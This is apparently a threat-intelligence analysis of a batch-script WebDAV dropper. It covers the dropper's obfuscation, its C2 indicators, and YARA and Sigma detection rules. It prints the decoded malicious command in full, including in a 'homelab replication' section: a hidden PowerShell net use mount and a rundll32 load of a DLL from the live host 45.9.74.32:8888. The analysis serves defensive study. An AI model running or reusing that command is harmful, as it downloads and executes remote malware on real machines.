dc9b0407bfe2468576b9a012abe289885167fbcf09251eb39487c6e92c9e2773unclassified-js-webdav-dropper: dc9b0407 — 19th sibling, shared-prefix batch SET obfuscation, rundll32 entry
Executive Summary. 2.1 KB pure-batch WebDAV dropper using shared-prefix (nxbas) SET variable expansion to obfuscate a net use mount and rundll32 DLL load against 45.9.74.32:8888. wordpad decoy and powershell.exe -windowstyle hidden wrapper present. Nineteenth confirmed sibling in the unclassified-js-webdav-dropper cluster.
What It Is
| Field | Value |
|---|---|
| SHA-256 | dc9b0407bfe2468576b9a012abe289885167fbcf09251eb39487c6e92c9e2773 ^[sample dc9b0407/metadata.json] |
| Filename | 673121895166824266.bat ^[sample dc9b0407/triage.json] |
| Size | 2150 bytes ^[sample dc9b0407/triage.json] |
| File type | ASCII text, with very long lines (1266), with CRLF line terminators ^[sample dc9b0407/file.txt] |
| Family | unclassified-js-webdav-dropper (19th confirmed sibling) |
| C2 | 45.9.74.32:8888 ^[sample dc9b0407/strings.txt:3] |
| Payload | 1369.dll ^[sample dc9b0407/strings.txt:3] |
| Execution | rundll32 \\45.9.74.32@8888\davwwwroot\1369.dll,entry ^[sample dc9b0407/strings.txt:3] |
| Decoy | color f0 && start wordpad ^[sample dc9b0407/strings.txt:2] |
| Dynamic | Skipped — not a supported binary class for CAPE detonation ^[sample dc9b0407/dynamic-analysis.md] |
How It Works
-
Obfuscation layer — shared-prefix SET expansion. Thirty-six variables share the prefix
nxbasfollowed by ten-character pseudo-random suffixes. Each variable maps to a single alphanumeric character. The payload line is assembled by%VAR%expansion, producing the full command string at parse time. ^[sample dc9b0407/strings.txt:1] -
Decoy execution.
color f0(white on black) followed bystart wordpadopens WordPad to give the appearance of a benign document viewer. ^[sample dc9b0407/strings.txt:2] -
Hidden PowerShell wrapper.
start powershell.exe -windowstyle hiddenspawns the actual payload command with no visible window. ^[sample dc9b0407/strings.txt:3] -
WebDAV mount + DLL execution. The decoded payload is:
net use \\45.9.74.32@8888\davwwwroot\ rundll32 \\45.9.74.32@8888\davwwwroot\1369.dll,entrynet usemounts the remote WebDAV share;rundll32loads1369.dlland calls itsentryexport over the UNC path. No local payload is written to disk. ^[sample dc9b0407/strings.txt:3]
Decompiled Behavior
Not applicable — batch script, no compiled code. Static string decoding is sufficient to recover the full execution chain.
C2 Infrastructure
| Indicator | Value |
|---|---|
| IP:Port | 45.9.74.32:8888 |
| Protocol | HTTP (WebDAV over port 8888) |
| UNC path | \\45.9.74.32@8888\DavWWWRoot\ |
| Payload file | 1369.dll |
| Export called | entry |
No domain names, no persistence mechanism, no sandbox gate, and no secondary C2 observed.
Interesting Tidbits
- Same infrastructure as siblings
e777fd64,ed6b2cd3,c6e24c16,ceacabb4, andd36d84f2. All six samples use45.9.74.32:8888andrundll32 ... ,entry. Only the SET prefix and payload filename differ, confirming a templated build pipeline. ^[sample dc9b0407/strings.txt:3] - Prefix length.
nxbasis five characters — shorter than themnihx(5),labzf(5),wdopm(5),hbutc(5),nmnmd(5), andiqrstg(6) prefixes observed in earlier siblings. The suffix lengths vary from 6–10 characters. - No persistence. One-shot execution; no registry, scheduled task, or startup folder modifications. Relies on the user re-running the lure or on a separate persistence mechanism in the loaded DLL.
- No anti-analysis. No debugger checks, no VM detection, no connectivity tests, no time-bombs.
- Trivial ssdeep. Below threshold (
Did not process files large enough to produce meaningful results). Not useful for fuzzy hashing against siblings. ^[sample dc9b0407/ssdeep.txt]
How To Mess With It (Homelab Replication)
- Open Notepad.
- Paste the decoded command:
@echo off color f0 start wordpad start powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1369.dll,entry - Save as
demo.bat. - Run in a sandboxed VM with network isolation.
- Observe
net useandrundll32process creation in ProcMon.
Deployable Signatures
YARA rule
rule webdav_batch_dropper_nxbas {
meta:
description = "WebDAV batch dropper with nxbas-prefix SET variable expansion"
author = "PacketPursuit"
date = "2026-06-26"
sha256 = "dc9b0407bfe2468576b9a012abe289885167fbcf09251eb39487c6e92c9e2773"
strings:
$set_prefix = "set nxbas" ascii
$net_use = "net use" ascii
$dav = "DavWWWRoot" ascii
$rundll = "rundll32" ascii
$wordpad = "wordpad" ascii
condition:
$set_prefix and $net_use and $dav and $rundll and filesize < 5KB
}
Sigma rule
title: WebDAV Batch Dropper Execution - rundll32 via UNC WebDAV
description: Detects batch scripts executing rundll32 against a WebDAV UNC path with DavWWWRoot
logsource:
product: windows
category: process_creation
detection:
selection:
CommandLine|contains:
- 'DavWWWRoot'
- 'rundll32'
CommandLine|re:
- 'rundll32\s+\\\\[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+@\d+\\DavWWWRoot\\.*\.dll'
condition: selection
falsepositives:
- Unknown
level: high
Behavioral fingerprint statement
This batch script defines 30–40 SET variables with a shared 5–6 character prefix and pseudo-random suffixes, each mapping to a single alphanumeric character. It then expands those variables on a single command line to assemble a net use WebDAV mount followed by rundll32 execution of a remote DLL over a UNC path (\\IP@port\DavWWWRoot\). A wordpad decoy and powershell.exe -windowstyle hidden wrapper are consistently present. No persistence, no sandbox gate, no anti-analysis.
IOC list
| Type | Value |
|---|---|
| SHA-256 | dc9b0407bfe2468576b9a012abe289885167fbcf09251eb39487c6e92c9e2773 |
| Filename | 673121895166824266.bat |
| C2 IP:Port | 45.9.74.32:8888 |
| Payload | 1369.dll |
| DLL export | entry |
| SET prefix | nxbas |
| Decoy binary | wordpad |
Detection Signatures
No capa or YARA hits — batch script, not a PE. Detection relies on command-line telemetry (net use + rundll32 with DavWWWRoot UNC) and EDR behavioral rules.
References
- unclassified-js-webdav-dropper — Family entity page
- batch-powershell-variable-expansion-obfuscation — Technique page for the SET fragmentation pattern
- webdav-regsvr32-dll-sideloading — Technique page for the WebDAV + system-binary proxy execution chain
- Sibling:
e777fd64b88a066748001a99e30ed1c4b46d9f8c4cbeee322a78d1fc06e5062f— same C2, same execution engine,hbutcprefix ^[/intel/analyses/e777fd64b88a066748001a99e30ed1c4b46d9f8c4cbeee322a78d1fc06e5062f.html]
Provenance
file.txt— file(1) output,ASCII text, with very long lines (1266)strings.txt— raw strings (3 lines, 1266 chars longest)triage.json— triage pipeline metadatametadata.json— artifact metadatassdeep.txt— below-threshold ssdeep resultdynamic-analysis.md— CAPE skipped (not a supported binary class)- Decoded via Python regex substitution of
set ([a-z]+)=([a-z0-9])mappings, then%VAR%expansion